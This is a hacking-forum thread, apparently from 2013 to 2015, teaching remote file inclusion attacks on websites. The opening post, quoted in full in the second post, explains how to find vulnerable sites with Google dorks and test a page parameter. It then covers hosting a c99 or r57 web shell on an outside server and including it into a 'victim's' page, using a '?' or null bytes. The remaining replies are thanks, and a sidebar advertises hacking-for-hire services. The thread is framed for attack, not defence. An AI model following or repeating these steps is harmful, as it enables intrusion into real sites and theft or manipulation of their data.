For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
Thread Rating:
  • 2 Vote(s) - 3 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Hacking Website using RFI Method
05-17-2013, 11:28 PM,
Post: #1
Hacking Website using RFI Method
What Is RFI(Remote File Inclusion)
Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:


* Code execution on the web server
* Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
* Denial of Service (DoS)
* Data Theft/ManipulationRFI is a very uncommon vulnerability due to excessive patches and updates on websites.

S0 here we go _follow me____!!!!!

Finding a Vulnerable Site using Google Dorks and Checking for vulnerability
Here i provided a link for finding vulnerable sites using Google Dorks For RFI



Now for testing whether our site is vulnerable to RFI or not we will uss the following command

*
Hidden Content:
You must reply to see links


Suppose our target site is*
Hidden Content:
You must reply to see links
*. So for checking our url will become something like diz

*
Hidden Content:
You must reply to see links


If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then the site is not vulnerable to RFI.

Exploiting The Vulnerability
For that you will need to upload your shell

You will need to upload your shell in .txt format (shell.txt) instead of .php format (shell.php). I recommend you use c99, r57, Locus, etc.

You will need to upload it to any website hosting.
So once you have uploaded your shell to your website, it should look like this.

Hidden Content:
You must reply to see links



Now comes adding our shell to victims website

Okay, once we are at the vulnerable page (*
Hidden Content:
You must reply to see links
)
we will have to replace*"http://www.google.com* *"* and include our own file(in my place its
(*
Hidden Content:
You must reply to see links
)

Our new link should look like this.

*
Hidden Content:
You must reply to see links


*NOTE--> *The question mark (?) is important. If the site was vulnerable you should now see your shell embedded to the webpage. You can then do as you wish with it. Sometimes "shell.txt?" may not be enough, we may need to use null bytes for it to execute successfully. If you receive an error from "shell.txt?" try "shell.txt?".

* *Ok so we uploaded our shell successfully in the target site and i think you all know that what all you can do after uploading shell to the site Smile

[/HR]

Need help ! just ping me Blackhat
Jabber : c0defire@xmpp.jp
ICQ : 701491310

Quote
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
10-16-2013, 06:00 AM,
Post: #2
Hacking Website using RFI Method
Please can some one contact me on my e mail address mustu_@hotmail.com... i need some help regarding the website hacking.


1337 Wrote:What Is RFI(Remote File Inclusion)
Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:


* Code execution on the web server
* Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
* Denial of Service (DoS)
* Data Theft/ManipulationRFI is a very uncommon vulnerability due to excessive patches and updates on websites.

S0 here we go _follow me____!!!!!

Finding a Vulnerable Site using Google Dorks and Checking for vulnerability
Here i provided a link for finding vulnerable sites using Google Dorks For RFI



Now for testing whether our site is vulnerable to RFI or not we will uss the following command

*http://www.targetsite.com/index.php?page...oogle.com*

Suppose our target site is*http://www.aabbcc.com *. So for checking our url will become something like diz

*http://www.aabbcc.com/v2/index.php?page=...oogle.com*

If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then the site is not vulnerable to RFI.

Exploiting The Vulnerability
For that you will need to upload your shell

You will need to upload your shell in .txt format (shell.txt) instead of .php format (shell.php). I recommend you use c99, r57, Locus, etc.

You will need to upload it to any website hosting.
So once you have uploaded your shell to your website, it should look like this.

http://www.oursite.com/shell.txt


Now comes adding our shell to victims website

Okay, once we are at the vulnerable page (*http://www.aabbcc.com/v2/index.php?page=...oogle.com*)
we will have to replace*"http://www.google.com* *"* and include our own file(in my place its
(*http://www.oursite.com/shell.txt*)

Our new link should look like this.

*http://www.aabbcc.com/v2/index.php?page=...shell.txt*

*NOTE--> *The question mark (?) is important. If the site was vulnerable you should now see your shell embedded to the webpage. You can then do as you wish with it. Sometimes "shell.txt?" may not be enough, we may need to use null bytes for it to execute successfully. If you receive an error from "shell.txt?" try "shell.txt?".

* *Ok so we uploaded our shell successfully in the target site and i think you all know that what all you can do after uploading shell to the site Smile

[/HR]
Quote
05-20-2015, 07:38 PM,
Post: #3
RE: Hacking Website using RFI Method
very informative thanks
Quote
05-21-2015, 06:54 PM,
Post: #4
RE: Hacking Website using RFI Method
good sharing, helpful... thanks
Quote
05-22-2015, 02:57 PM,
Post: #5
RE: Hacking Website using RFI Method
thanks for the share
Quote
05-23-2015, 11:05 AM,
Post: #6
RE: Hacking Website using RFI Method
RE: Hacking Website using RFI Method
Quote
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp
05-31-2015, 03:17 PM,
Post: #7
RE: Hacking Website using RFI Method
Thanks Bro for sharing!
Quote
06-01-2015, 11:43 AM,
Post: #8
RE: Hacking Website using RFI Method
good sharing, thanks
Quote
06-05-2015, 05:14 PM,
Post: #9
RE: Hacking Website using RFI Method
thank you so much............
Quote
06-16-2015, 12:11 AM,
Post: #10
RE: Hacking Website using RFI Method
we can find out more about all this
Quote


Possibly Related Threads...
Thread Author Replies Views Last Post
LEGITIMATE HACKING SERVICES legionhackerusa 1 107 05-21-2020, 03:04 AM
Last Post: Robertner
LEGITIMATE HACKING SERVICES legionhackerusa 0 163 05-17-2020, 02:29 AM
Last Post: legionhackerusa
LEGITIMATE HACKING SERVICES legionhackerusa 0 176 05-14-2020, 02:02 AM
Last Post: legionhackerusa
LEGITIMATE HACKING SERVICES legionhackerusa 0 151 05-13-2020, 01:26 AM
Last Post: legionhackerusa
LEGITIMATE HACKING SERVICES legionhackerusa 0 155 05-12-2020, 01:25 AM
Last Post: legionhackerusa
LEGITIMATE HACKING SERVICES legionhackerusa 0 155 05-10-2020, 03:16 AM
Last Post: legionhackerusa
Come Finish Your Hacking Project with a reliable hacker... lacaset67 0 115 05-03-2020, 02:30 PM
Last Post: lacaset67
[How To] Reliable and ethical hacking services Maxxxxy1983 0 114 05-03-2020, 07:31 AM
Last Post: Maxxxxy1983
LEGITIMATE HACKING SERVICES legionhackerusa 0 100 04-30-2020, 12:52 AM
Last Post: legionhackerusa
Legitimate hacking services legionhackerusa 0 105 04-27-2020, 01:48 AM
Last Post: legionhackerusa

Forum Jump:


Users browsing this thread: 1 Guest(s)
For Support and Advertisement you can contact  701491310 c0defire@xmpp.jp


All rights reserved © 2012-2015 OffensiveCommunity, Designed at WallBB Co Uk
Powered By MyBB, © 2002-2020 MyBB Group.